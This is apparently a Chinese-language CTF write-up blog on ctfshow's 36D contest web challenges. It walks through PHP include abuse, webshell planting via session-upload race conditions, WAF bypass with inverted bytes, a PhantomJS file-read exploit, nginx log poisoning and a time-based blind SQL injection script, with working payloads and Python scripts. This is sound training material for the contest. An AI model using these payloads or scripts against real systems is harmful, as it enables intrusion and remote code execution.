36D练手赛+36D杯

不知所措.jpg

image-20241214224607447

传入file参数且file参数必须有test

那我们先试一下是get传参还是post传参吧

/?file=test

image-20241214224718739

确定是GET传参了,不过我们传入的参数和php进行拼接了,我本来是试着去读flag的,但是没读出来

image-20241214224822221

试试index看看能不能读到源代码,然后也是成功读到了index.php文件的源码,我们拿去解码一下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
include ($file);
}else{
echo '$file must has test';
}
?>

这里可以看到是include包含,我们先了解一下这个include的题目(web入门命令执行里面也有相关的题目)

include($file.”.php”);

这行代码的作用是将一个PHP文件的内容包含(或插入)到当前执行的脚本中。这里,

$file是一个变量,它的值会被附加到字符串 “.php” 之前,从而构成要包含文件的完整路径(或至少是文件名,如果文件位于当前工作目录中)。例如,如果

$file 的值是 “header”,那么 include($file.”.php”); 实际上会尝试包含并执行名为 header.php 的文件。

我们可以试试伪协议,data://text/plain, 这样就相当于执行了php语句, .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

构造payload:

1
/?file=data://text/plain,<?php%20eval($_POST[test]);?>

这样就相当于执行了php语句.php,然后也有test字符串

然后我们可以对test进行rce或者直接用蚁剑连接,这里我直接用蚁剑进行连接了

image-20241214225808976

在根目录找到了flag

easyshell

image-20241214230357511

image-20241214230412178

抓包看到一个Hash值

image-20241214231732418

猜测应该是pass的值,然后我们试着传入name和pass试一下

image-20241214232000228

第一次传入发现response包中的cookie变了,我们跟进一下

image-20241214232031670

看到了一个flflflflag.php,我们访问看看

image-20241214232152961

一开始以为是404,后面抓包发现是假的,看到了include包含file参数,应该是任意文件读取漏洞,我们用伪协议去读取一下文件

1
2
获取源码代码
?file=php://filter/resource=xxx.php

想试着读一下flag和index发现不得行,后面换成了php://filter/read=convert.base64-encode/resource=index.php才读出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//index.php
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
';
}else{
setcookie("Hash",md5($secret.$name),time()+3600000);#
echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

1
2
3
4
5
//config.php
<?php
$secret='%^$&$#fffd';
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//flflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>yesec want Girl friend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

这道题的话入口应该是在include函数,但是我试着读flag的时候没读出来,说明应该不是这个名字,用日志注入也没打通,试一下url编码绕过input去rce但是也不行

image-20241214235119911

后面看了包的wp发现是session的rce+条件竞争

利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含,直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import io
import requests
import threading

sessid="wanth3f1ag"
url="http://896e6d4e-6df6-4228-8246-19e13efa2866.challenge.ctf.show/flflflflag.php"

def write(session):
while event.is_set():
f=io.BytesIO(b'a'*1024*50)
r=session.post(
url=url,
cookies={'PHPSESSID':sessid},
data={
# "PHP_SESSION_UPLOAD_PROGRESS": "<?php system('whoami');?>"
"PHP_SESSION_UPLOAD_PROGRESS":"<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1]);?>');?>"
},
files={"file":('1.txt',f)}
)

def read(session):
while event.is_set():
payload="?file=/tmp/sess_"+sessid
r=session.get(url=url+payload)

if '1.txt' in r.text:
print(r.text)
event.clear()
break


if __name__=='__main__':
event=threading.Event()
event.set()

with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()

然后访问我们的木马shell.php并用蚁剑连接

image-20241215003617627

但是是空的,开终端发现显示127

image-20241215003701886

应该是需要绕过disablefunction,直接用蚁剑里面的插件,但是后面发现cat不了那个文件

image-20241215004349936

然后我就利用shell.php去进行rce了

image-20241215004424281

直接对shell.php中的参数1传入phpinfo(),然后在里面找flag就可以了,不过不能打命令去进行rce好像

到此练手赛就结束了,开始进入36D的内容

给你shell

image-20241215004943533

准备了一个shell给我们,那我们先扫一下目录看看有没有什么隐藏的文件

image-20241215005207655

然后访问这个文件发现是空页面,我们抓个包看看

image-20241215005953930

有一个secret的cookie值,拿去解密后是y1ng,但是用蚁剑连接不成功,看来是方向搞错了

后来在页面源码中找到了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}

function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}#检查函数
#explode()函数会将$s按照:进行分割成数组,然后检查数组的内容开头是否包含{"secret",第二个字符需要匹配检查 $arr[1] 字符串是否仅由数字、大写字母以及双引号组成,然后数组元素数量count($arr) === 2

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}#将接受的函数进行md5加密,然后进行赋值,并将赋值后的字符串中的非大写字母转化成大写字母,并遍历这些字符将其转化成ASCII码后与0xc0进行位与运算,打印结果

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

It’s no need to use scanner. Of course if you want, but u will find nothing.好吧这句话已经在嘲笑我了,怪我没好好审页面源代码吧,那我们来分析一下代码和相关的函数

explode()函数

explode() 函数是 PHP 中用于将字符串分割成数组的一个内置函数

基础语法

1
array explode(string $delimiter, string $string[, int $limit = PHP_INT_MAX])

参数说明

  1. $delimiter:
    • 字符串类型,指定用于分隔字符串的分隔符。当找到这个分隔符时,explode() 会在该位置将字符串切割开。
  2. $string:
    • 字符串类型,要被切割的源字符串。
  3. $limit (可选):
    • 整数类型,限制返回的数组元素的数量。如果设置为正数,返回的数组将包含最多 $limit 个元素;如果设置为负数,返回的数组将包含所有元素,但去掉最后 $limit 个元素。

strtoupper()函数

strtoupper() 函数是 PHP 中用于将字符串中的所有字母转换为大写字母的一个内置函数。

基础语法

1
string strtoupper(string $string)

参数说明

  • $string
    • 字符串类型,输入的要转换为大写的字符串。

返回值

  • 函数返回转换后的字符串,其中的所有字母都被转换为大写。如果输入字符串中没有字母,或者字符串为空,则返回原字符串。

位与运算

位与运算 (&) 是对两个二进制数逐位比较,如果两个对应的位都是 1,则结果为 1;否则结果为 0。

并且在源代码底下可以看到<!–flag is in /flag.txt–>的字样

这段代码的话我们首先要获得到的是webshell 的地址,而想获得到这个webshell需要执行echo “here is your webshell: $shell_path”;

那么就需要$obj[‘secret’] != $flag_md5为false,也就是我们的两者需要相等,那这里的话是一个弱比较,我们可以通过弱比较的漏洞去进行一个绕过,所以我们起初的话可以先随便输入一个secret的值去获取到我们flag的位与运算后的值,记得这里还需要传入give_me_shell参数,不然就满足不了外层判断句的条件

image-20241217220414534

得到flag位与运算后的结果是0006464640064064646464006406464064640064006400000000000

首先我们要知道,在MD5值和函数转大写,只有数字和大写字母,在位与运算中小于65的数与0为0,64-127与0为64,所以我们这里可以知道flag的md5值前三位都是数字,那我们按照弱比较的漏洞去进行绕过就可以,这里我们对secret进行三位数的爆破

注意:这里的话要把secret设置位纯数字,不然的话就会匹配类型

image-20241217221603876

这里的话我就是没去掉双引号导致并没有绕过这个弱比较,我设置纯数字之后才出来了结果

image-20241217221733638

可以看到文件名,我们访问一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//w3b5HeLLlll123.php
<?php
error_reporting(0);
session_start();
//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";
if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');
if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}

还是一个代码审计,我们简单分析一下,这里需要我们传入一个GET 的code参数和在会话中设置一个login,然后对code进行正则匹配,判断为真则将清空session中code的值,不然的话会输出hacker

这里因为没有给出waf的代码,所以我们需要进行fuzz,而且题目也提示了fuzz,那我们用bp进行fuzz测试一下

通过测试发现过滤了单双引号,括号,反引号,字符 f 以及一些常用函数,加上题目提示我们 flag在 /flag.txt中,那个就应该是要读取文件内容了

payload:

1
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>

image-20241219084711378

payload:

1
?code=]=1?><?=require~%d0%99%93%9e%98?>

`

我们解析一下这两个payload,先说第一个,先说第一个

1
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>

其中?>符号可以被当作;解析,而我们这里因为很多符号都被禁用了,我们的思路就是利用eval(“$_SESSION[“ . $code . “]=false;”);,而利用方法就是去闭合这里的eval(“$_SESSION[“去想办法读取flag,因为;在黑名单里但是<>?不在黑名单里,所以我们尝试构造?code=]?><?去机械能bypass,然后我又发现我们的()都在黑名单里,所以能读取文件的函数也很少了,但是我们可以发现题目中有require “hidden_filter.php”;的代码,我就想到了用require去进行读取文件

require函数

在 PHP 中,require 语句用于引入并执行指定的 PHP 文件,例如require ‘path/to/your/file.php’;

但是这里单引号和空格都被过滤了,就又卡住了,后面看了大佬的wp发现他们是用的去进行绕过的,requireflag.txt,但是这里的话f是被过滤了的,最后就是将flag.txt进行转换一下就可以了,例如取反,所以才有的payload

RemoteImageDownloader

可参考CVE-2019-17221PhantomJS任意文件读取

image-20241219092943000

这个的话是一个从远程加载图片进行下载的题目,这里的话我的思路就是用服务器创建html文件,然后通过download去访问我们的html文件,达到一个攻击的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///flag");
x.send();
</script>
</body>
</head>
</html>

image-20241219093238973

然后我们访问这个1.html,就会进行下载图片,图片中就会带出我们的flag

我们来解释一下那个html文件中的script片段

  • new XMLHttpRequest; 创建一个新的 XMLHttpRequest 对象 x。这个对象用于在客户端与服务器之间进行异步请求。
  • x.onload=function(){ document.write(this.responseText) }; 定义了当请求完成后要执行的函数。在这个函数中,this.responseText 包含了从服务器返回的响应内容。document.write() 方法会将该内容写入当前文档。
  • x.open("GET","file:///flag"); 准备一个 HTTP GET 请求,目标是一个本地文件(file:///flag)。这是一个文件系统的路径,通常用于尝试从本地读取一个文件。
  • x.send(); 发送请求。

所以这里可以看到其实我们的flag是写入了这个下载的图片中的,也就是我们的响应内容中,假如没有执行file://flag的话,就会只有一个空图片

image-20241219093531467

而如果我们进行了正确的攻击后就会

image-20241219093559492

PhantomJs 任意文件读取

PhantomJS 使用内部模块:,打开、关闭、呈现和执行网页上的多个操作,该模块存在任意文件读取漏洞。该漏洞存在于模块的函数中,该函数加载指定的 URL 并调用给定的回调。打开 HTML 文件时,攻击者可以提供特制的文件内容,从而允许读取文件系统上的任意文件。该漏洞通过使用作为函数回调来演示,从而生成目标文件的 PDF 或图像。 webpage page.open() webpage page.render()

1
2
var webPage = require ( '网页' ); 
var page = webPage.create();

上述 JavaScript 代码初始化并创建一个页面对象,可用于执行进一步的操作,例如加载网页。

在下面的代码片段中,该函数负责打开和解析提供的 URL,并使用该函数生成 PNG 图像。 page.open() page.render()

此外, PhantomJS 还会在内部调用检查所提供 URL 中的方案。如果提供的方案为空,则将其设置为给定 URL 的默认方案。

从下面显示的代码中可以看出这一点,这样做是为了访问本地存储的 HTML/CSS 文件。 page.open() WebPage::openUrl() file://

1
2
3
4
5
6
文件:phantom/phantomjs/src/webpage.cpp 
954//如果方案为空,则假定为本地文件
955if (url.scheme().isEmpty()) {
956:url.setPath(QFileInfo(url.toString()).absoluteFilePath().prepend( "/" ));
957:url.setScheme( "file" );
958:}

因此,使用页面渲染代码片段将生成一个空白的 png 图像,因为它不会解析提供的 URL(该 URL 已设置为方案)。而使用带方案的将生成包含提供的 URL 内容的渲染图像。 page.open('www.google.com') file:// page.open('https://www.google.com') https://

所以这就是为什么我们攻击失败的时候也会返回一张图片但是图片是空的,再结合我们的exp可以想到这段payload的意思了,其实我们确实是访问了一张空图片,但是因为执行了我们的html文件,这个代码中会把flag写入我们的图片中

PhantomJS 还使用一个开关,该开关需要一个布尔值,默认情况下设置为。该开关启用 PhantomJS 中的网络安全功能,并禁止触发跨域 XHR 请求。 --web-security True

由于跨域 XHR 限制,本地存储的 HTML 文件不允许触发对任意外部实体的请求,并且由于实现原因,除非在标头中明确指定,否则也无法从跨域实体读取响应。 XHR Same Origin Policy

当经过PhantomJS解析后,可以通过发出XHR请求来读取其中的内容。

ALL_INFO_U_WANT

#日志注入

是一个玩魔方的游戏

image-20241219152554679

初步猜测是需要拼好这个魔方才能拿到flag,先审视一下我们的页面源代码,顺便扫了一下目录

image-20241219153359664

发现一个200的/index.php.bak文件,进行访问下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:


<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
phpinfo();
}

if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}

?>



really really really baby challenge right?

这里的话提示我们去访问all_info_u_want.php,但是是空白页面,接着我在all_info_u_want.php目录下传入all_info_i_want参数就得到了当前php版本的配置信息了,

1
/all_info_u_want.php?all_info_i_want=1

image-20241219153914580

但是我们的利用点还是include($file),不过这道题说实真的太仁慈了,这里直接利用日志注入就可以了

日志注入

怎么在php信息中查看是否可以日志注入

  • error_log: 该项显示了 PHP 脚本错误日志的存储路径。如果该路径存在且可写,则表示日志记录功能已开启。
  • log_errors: 该项指示 PHP 是否开启了错误日志记录。若值为 On,则表示日志记录功能已启用;若为 Off,则表示未启用。

image-20241219154547767

这里可以看到是开启了日志记录的功能的,那我们尝试包含一下日志文件

先在f12的network中查看一下服务器版本

image-20241219154652150

是nginx的

对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

日志注入的攻击原理

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

Nginx中的日志分两种,一种是error.log,一种是access.log。error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)。

那我们访问一下

1
/all_info_u_want.php?file=../../../var/log/nginx/access.log

这里需要进行目录穿越哈,因为不知道在哪层目录中,我们挨个添加../就可以,然后就可以看到我们的日志文件了

image-20241219155319757

抓包,在UA头插入恶意命令或者一句话木马,然后就可以进行rce了

image-20241219155303841

然后用蚁剑连接

image-20241219155530096

发现一个假的flag,提示flag在etc文件,让我们自己去找,这里的话可以一个个找也可以直接在终端进行命令

1
find /etc -name “*” | xargs grep “flag{

正常来说这个命令就是用来找包含flag字符串的文件的,但是好像蚁剑里面得把“-name “*””去掉,没搞明白原因

image-20241219160835686

我说怎么查不出来flag,原来flag是ctfshow开头的

1
find /etc | xargs grep "ctfshow{"

image-20241219162259903

成功拿到flag

WUSTCTF_朴实无华_Revenge

Login_Only_For_36D

#时间盲注

image-20241219202259005

登录界面,我们先输入两个1看看

image-20241219202330531

试一下admin’和1,回显hacker,应该是'单引号被过滤了,那就测试一下,发现空格,等于号,and,or,ascii,substr,select,union都被过滤了,sleep,ord,#,if没被过滤,那我们考虑一下时间盲注

1
2
3
查询语句
<!-- if (!preg_match('/admin/', $uname)) die; -->
<!-- select * from 36d_user where username='$uname' and password='$passwd'; -->

试一下admin’和1,回显hacker,应该是'单引号被过滤了,那就测试一下,发现空格,大于小于等于号,and,or,ascii,substr,select,union都被过滤了,sleep,ord,#,if,()没被过滤,那我们考虑一下时间盲注

过滤了引号,但是还有注释符可用,可以用\将单引号转义

payload

1
username=admin\&password=or(sleep(5))#

admin\把单引号注释掉让后面$passwd逃逸出去,然后可以发现延迟了5s,确认存在时间盲注,那我们上脚本,因为我们知道了账号是admin,所以我们打password就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time
import datetime


url = "http://fcc116b3-6180-4c33-8def-a29981cbe059.challenge.ctf.show/index.php"

dict = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

result = ""
for i in range(0,100):
for char in dict:
data={
"username" : "admin\\",
"password" : ""
}
payload = 'or/**/if((password/**/regexp/**/binary/**/"^{}"),sleep(5),1)#'.format(result+char)
data['password'] = payload
time1 = datetime.datetime.now()
response = requests.post(url, data=data)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 5:#超时时间为5秒
result += char
print(result)
break

解释一下payload哈

regexp binary正则匹配

空格用/**/去绕过,然后password regexp binary "^{}" 是一个正则表达式匹配操作,它尝试匹配数据库中的 password 字段的值是否与指定的模式 ^{}(任意字符) 匹配。

image-20241219225610042

这个就是我们的password

你取吧

代码审计题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
?>

无字母无数字rce,这里把取反和异或符号都去掉了,显而易见这里可以用自增去进行rce